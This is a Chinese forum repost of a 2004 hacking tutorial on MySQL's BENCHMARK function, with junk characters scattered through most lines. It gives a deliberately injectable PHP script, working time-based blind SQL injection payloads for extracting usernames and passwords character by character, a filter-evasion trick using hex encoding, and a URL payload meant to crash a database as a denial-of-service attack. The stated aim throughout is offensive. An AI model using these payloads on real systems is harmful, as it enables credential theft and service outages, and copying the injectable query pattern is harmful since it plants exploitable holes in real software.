找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2559|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
+ d$ ^$ M* \( e1 I2 W% e本文作者:SuperHei4 t" J6 s! J3 g9 C+ R
文章性质:原创
/ t' n  }- D2 b8 b- A; m4 l. f! E发布日期:2005-01-02
* Z5 d- m7 W* ?9 C0 _' D% D! {* h完成日期:2004-07-09
; N/ J& c$ |" e  q第一部
( K6 m$ W( ~  e% l1 J2 \/ W# t' b" g0 r+ @
% \( `* l, r' S% n3 F* C利用时间推延进行注射---BENCHMARK函数在注射中的利用 9 }+ Y' \+ x( l9 I2 k

. ?, ~' t  Y. G+ g6 t- a  }: Z一.前言/思路
; m  C* h- a* }5 y9 U, X* U$ A" {& n
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
) N8 R! S/ F0 }6 F2 u5 g! j" \: {" n/ N! W$ @5 a- T
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。. K: a3 m. ~: h0 ?2 y5 ~7 M

1 ]: s! K8 Y) e/ e* ]' o/ T二.关于BENCHMARK函数
6 Z9 o8 _' ]# d; T! b/ J0 w& X5 y/ p% G& v) V  {) m
  在MySQL参考手册里可以看到如下描叙: , V% l* V) i. B& X- H
9 ?& v' V# ?1 G
0 \& ]* J: }! B4 L+ o# ?
--------------------------------------------------------------------------------$ c9 Y5 q' ~" K+ J* Q9 G6 A9 V  _' B
% T7 w/ l& u6 b
BENCHMARK(count,expr)
3 M# \' |4 @' q& LBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
: N! U6 j6 ~; m$ K* e. ~% l( g# Omysql> select BENCHMARK(1000000,encode("hello","goodbye")); " z4 l- H2 }9 l
+----------------------------------------------+ * y' j) G0 [8 L$ n
| BENCHMARK(1000000,encode("hello","goodbye")) |
# K$ ^& Q9 G) o" ]9 c7 t1 C; {* z+----------------------------------------------+ 1 v; ]6 R# e3 u- I: m; {8 V7 O
| 0 |
7 Z) Y; `! m9 l3 m: _: ^/ l2 m+----------------------------------------------+   S8 |) C& S2 g, Z- {6 H, I
1 row in set (4.74 sec) # t) \4 @  \# Q2 U! P4 ]: j$ [2 v4 S

" M! Q% w8 A; r& O' d报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
& b% [& r9 N2 @+ G* {1 A( U6 b" C6 C- t

% e' U9 F5 _* T# m, e. V; R5 `--------------------------------------------------------------------------------
2 T0 U' p9 j) l) b! B
+ ^, g9 F& T4 B: O+ C$ K8 T7 [9 c  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 5 o7 u( F; d/ G. j$ S
: M7 R* |! ~4 ]) J
mysql> select md5( 'test' );
7 A9 T7 f. t9 n3 A2 U6 t+----------------------------------+
2 J7 C  K) Y1 i  w  P9 }8 z  ^  D! p| md5( 'test' ) | ' [5 y5 i4 Q3 r# V  g3 n  `: _. y
+----------------------------------+ 5 T' @7 B! ~3 P  n# r0 y- k& M: O
| 098f6bcd4621d373cade4e832627b4f6 | 5 Q' S) q' X3 I# L6 A2 s7 }4 G3 t
+----------------------------------+
! m  M7 z2 k& L( r* ~1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 0 X6 T1 s  R; |, l

3 c6 M4 [. Z/ @: O: f; m9 Jmysql> select benchmark( 500000, md5( 'test' ) );
2 u4 b4 J- k, l. o, c& t+------------------------------------+
6 b- p; ]9 h2 N8 Y# S4 P| benchmark( 500000, md5( 'test' ) ) |
  e, Q1 S, p7 N( |" E+ h5 e: A5 J+------------------------------------+ ' b" F' r' W! b
| 0 |
8 m3 ~5 q# H! {. H5 |+------------------------------------+
5 A3 O- H! z" ^; `% |1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
0 i( K5 S( T  V  X. C9 K5 y/ d ) b( M3 ^* B6 `) \2 l
0 ^! u8 ?+ G. N2 n
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
! T+ Z( q, x' y4 h3 p, {/ P& X
- x- f: c9 k8 b$ U三.具体例子
! b1 I* R( E: M. j" C" D+ w1 g/ G! o. v, }% m, H) b" F9 o
  首先我们看个简单的php代码:
, m' r& m% c: i/ h0 D
8 i  D' t; C7 L; D& S8 {, w< ?php ! v! I8 l3 v! U$ N
$servername = "localhost"; * v2 o7 f; c7 {; W) B4 j
$dbusername = "root"; # |- u5 ~1 z' X
$dbpassword = "";
' B. e5 Q1 A% l: h9 a$dbname = "injection";
& n+ @2 |2 R5 {2 d: C* z0 H& D; P
6 Q; T( k8 c  c) Q7 o3 \7 }mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
4 H: J. B# n$ }4 \0 }! c. ^  N( v- ?
: W/ v/ J9 K5 W! D. ?5 ?3 ]9 [& V$sql = "SELECT * FROM article WHERE articleid=$id"; 9 n7 Y( H+ ^: t1 S) C3 g
$result = mysql_db_query($dbname,$sql);
0 o) T# p+ _# [" m  j2 a2 @$row = mysql_fetch_array($result);
, j* S5 B$ b; R9 M& f9 V
) ~2 H& S5 b: ~# Yif (!$row) # R  y$ \+ F1 u7 k6 E: M/ R/ g
{ : o* @% o+ O! p' U3 @. e0 _, P& D% _
exit; ( F9 @2 A# [$ L/ Y. w
}
6 T- G2 `+ @( l) \?>1 ?# ?3 e- M, d9 a5 |  v' ^
( _- P2 K0 i. F8 d9 P

. ]7 {5 L- P. V  数据库injection结构和内容如下:8 ~2 \, x. r' `, ?- P3 u

, y  y' i6 @; ?$ Q6 ?9 T; A# 数据库 : `injection`
6 h, i1 ]% ]6 k! S3 E# 4 @7 N3 w: y* Q7 Q; v

. I3 P- ?. g4 I% ?( k. A' M. }# -------------------------------------------------------- ; ]$ y# z- u$ T0 B9 ~. Q
* d- p( e- }1 x) D5 X# }* a
#
0 U# X& G: e4 _. T7 p# 表的结构 `article`
: r3 G# S1 T. {- w6 y) }#
4 ~- r) w5 G$ j7 R2 s( q: B$ y* i
CREATE TABLE `article` ( 0 E7 S3 T0 A+ w& j
`articleid` int(11) NOT NULL auto_increment,
, K0 Q' p( |/ U5 W6 [1 P`title` varchar(100) NOT NULL default '',
( R7 u5 J; J3 n7 v" a`content` text NOT NULL, 6 D6 i- _3 @+ v& ^/ R
PRIMARY KEY (`articleid`) 7 O  [  V0 ^1 R+ Q, |4 S
) TYPE=MyISAM AUTO_INCREMENT=3 ;
8 n9 {4 T8 P6 \
$ A' a  U' f  W( X$ A3 k4 |( ]$ T: F# $ K4 _9 f5 r4 U3 s7 v; q' m
# 导出表中的数据 `article` + ]% p1 o' Z4 ]  t
#   c( @1 M5 \/ v! a5 y+ H

# T% q* Z. t8 Z# ~INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
6 D; L' ~2 H, s, n3 J; {INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
  W6 I7 y" s; V& U) j
; }7 J5 A# j0 C0 r9 J6 F# --------------------------------------------------------
/ N% \  d$ |% W8 K$ h2 P& o0 z
* z% `# j4 x4 i/ k: ]#
* \& I& z- ]7 b6 J# 表的结构 `user`
) x8 y% D/ z( z  o) O# 2 i8 Y  d+ v% I$ i- Q8 E5 j+ v
- ]+ q6 ?2 W6 Q0 L; @" E
CREATE TABLE `user` ( 8 ^4 o) q* E& ?( [7 h. r
`userid` int(11) NOT NULL auto_increment,
, a! g) Z2 [9 L- v`username` varchar(20) NOT NULL default '',
. }! S6 J: D! q, G, ], N  O' f`password` varchar(20) NOT NULL default '',
- X" G/ d# R, a! M) Q+ B% TPRIMARY KEY (`userid`)
% P) V  w( n( a. L/ Y+ z' |4 i) TYPE=MyISAM AUTO_INCREMENT=3 ;
8 h9 R( H% s# _  R
  z3 q, b5 J- f2 [# ! d9 r2 _" y( e& k/ H( f
# 导出表中的数据 `user` , a5 d5 b1 ?/ v+ ?
#
1 @; s$ b( M" b; i4 z" H2 W6 e; T; R
INSERT INTO `user` VALUES (1, 'angel', 'mypass');   w) w/ R* ]( x9 N
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
3 u8 {. j9 c. R' k! I; B" |. E. r + h0 c0 ^0 W8 {
' }$ B, j/ ^6 Y# B  z/ ^+ }
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:/ Q. p! u5 {. }0 h: c0 J" N% q9 H/ e
$ |5 T2 o& @2 Y$ f0 }
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
9 H# f) w7 D( a; s- x ) K1 v3 o- t/ ~
" B3 A# s- b) d! A. x* z* ~
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
6 }3 D! o" [( R- x- r9 F3 \7 Y: h# T* s  i6 U( @
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
2 e4 O1 M% p( }0 G
$ ?( G2 i) i$ I# s# q+ o
" P/ }7 U$ P7 |; q' U0 p  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
; {4 W& ?. `5 M9 J% u/ _( b0 v
! j  s) n* q% k5 P2 e" k  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
* [, o& |( c' S% }6 Z% t
8 k- y7 k/ g/ M+ U* T第二部
% q# [! `$ ~- q
$ i. h4 t  Y& G: G9 X( U利用BENCHMARK函数进行ddos攻击
. G4 ~/ Q: |# \/ I. Q0 o  R2 Q. \8 \: y
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
  h0 ?4 X% F; L7 }) e0 t: h" b5 m' R" M1 `
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
/ s4 d: T( S5 |9 d 2 M' b( m$ D. y& O

! |  [6 Y; m+ N+ e5 {小结
* Z2 D$ T/ I* l) U9 h6 P# P
% m  t* b4 F* ?5 t, X( i  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
* `9 l$ G3 V+ S4 a3 W$ V
6 ^, y' T# v9 I  # R* ]: z" F- A1 ?1 a* l; m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表